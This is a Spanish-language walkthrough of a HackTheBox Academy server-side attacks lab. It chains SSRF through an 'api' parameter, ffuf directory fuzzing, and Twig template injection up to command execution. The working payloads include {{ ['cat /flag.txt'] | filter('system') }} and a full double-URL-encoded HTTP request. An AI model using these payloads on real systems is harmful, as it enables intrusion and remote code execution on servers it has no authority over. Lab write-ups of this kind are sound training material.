Skills Assessment - Server-Side Attacks
Resumen
Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes.
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 🟡 Medio |
| Sistema operativo | 🌐 Web🐧 Linux |
| Estado | Terminada |
| Root flag | |
| Técnicas | #web#ssrf#lateral#server-side |
| Extensión | 306 palabras · 2 min |
| Máquina original | https://academy.hackthebox.com/app/module/145/section/1346 |
Resumen
Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes.
Superficie de ataque
| Endpoint | Método | Parámetros | Observaciones |
|---|---|---|---|
| / | POST | user, pass | api=http://truckapi.htb/?id%3DFusionExpress01 |
Análisis
Nada más entrar obtenemos la petición
http1POST / HTTP/1.1 2Host: 154.57.164.77:30941 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.77:30941/ 8Content-Type: application/x-www-form-urlencoded 9Content-Length: 45 10Origin: http://154.57.164.77:30941 11DNT: 1 12Connection: keep-alive 13 14api=http://truckapi.htb/?id%3DFusionExpress01
Estamos claramente ante un SSRF
Explotación
Seguimos los apuntes que nos da el módulo. Básicamente consiste en buscar directorios y puertos en http://truckapi.htb usando ffuf. También es interesante buscar directorios y puertos en http://127.0.0.1.
Payload
Usando ffuf en busca de directorios
bash1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \ 2 -u http://154.57.164.77:30941/ \ 3 -X POST \ 4 -H "Content-Type: application/x-www-form-urlencoded" \ 5 -d "api=http://truckapi.htb/FUZZ/" \ 6 -fr "The requested URL was not found on this server" \ 7 -s
Encontramos
txticons vendor server-status
Investigando en server-status no encuentro nada, pero si logro encontrar en /vendor/.

Esto es interesante ya que podemos explorar todas las carpetas y vemos que utiliza Twig. ESTAMOS ANTE UN SSTI
Explotación del SSTI (Twig)
Me doy cuenta gracias a ver los ficheros y a la explotación del SSRF que estamos ante un SSTI combinado con SSRF
Si ejecutamos api=http://truckapi.htb/?id={{7*7}}, esto urlcodeado queda como api=http://truckapi.htb/?id=%7B%7B7%2A7%7D%7D
Nos devuelve: {"id": "49", "location": "134 Main Street"}. Si nos damos cuenta, se ha ejcutado la plantilla Twig al ejecutar una búsqueda al id 49 (resultado de 7*7).
El comando a ejecutar para comprobar si funciona RCE es este: {{ ['id'] | filter('system') }}. Al principio haciendo urlencode no funciona, pero entre mucha búsqueda descubro que se debe mandar doble urlencode para hacerlo funcionar.

Estamos ante RCE, por lo que ejecutar un LFI para leer la flag debe ser sencillo.
Obtención de la flag
Tal como vimos en la sección anterior, debemos ejecutar este comando api=http://truckapi.htb/?id={{ ['cat /flag.txt'] | filter('system') }} para obtener la flag y así superar el módulo. Importante realizar doble urlencode.
La petición completa:
http1POST / HTTP/1.1 2Host: 154.57.164.67:30127 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.67:30127/ 8Content-Type: application/x-www-form-urlencoded 9Content-Length: 406 10Origin: http://154.57.164.67:30127 11DNT: 1 12Connection: keep-alive 13 14api=http://truckapi.htb/?id=%25%37%62%25%37%62%25%32%30%25%35%62%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34%25%32%37%25%35%64%25%32%30%25%37%63%25%32%30%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%38%25%32%37%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%37%25%32%39%25%32%30%25%37%64%25%37%64
Y con ello obtenemos la flag
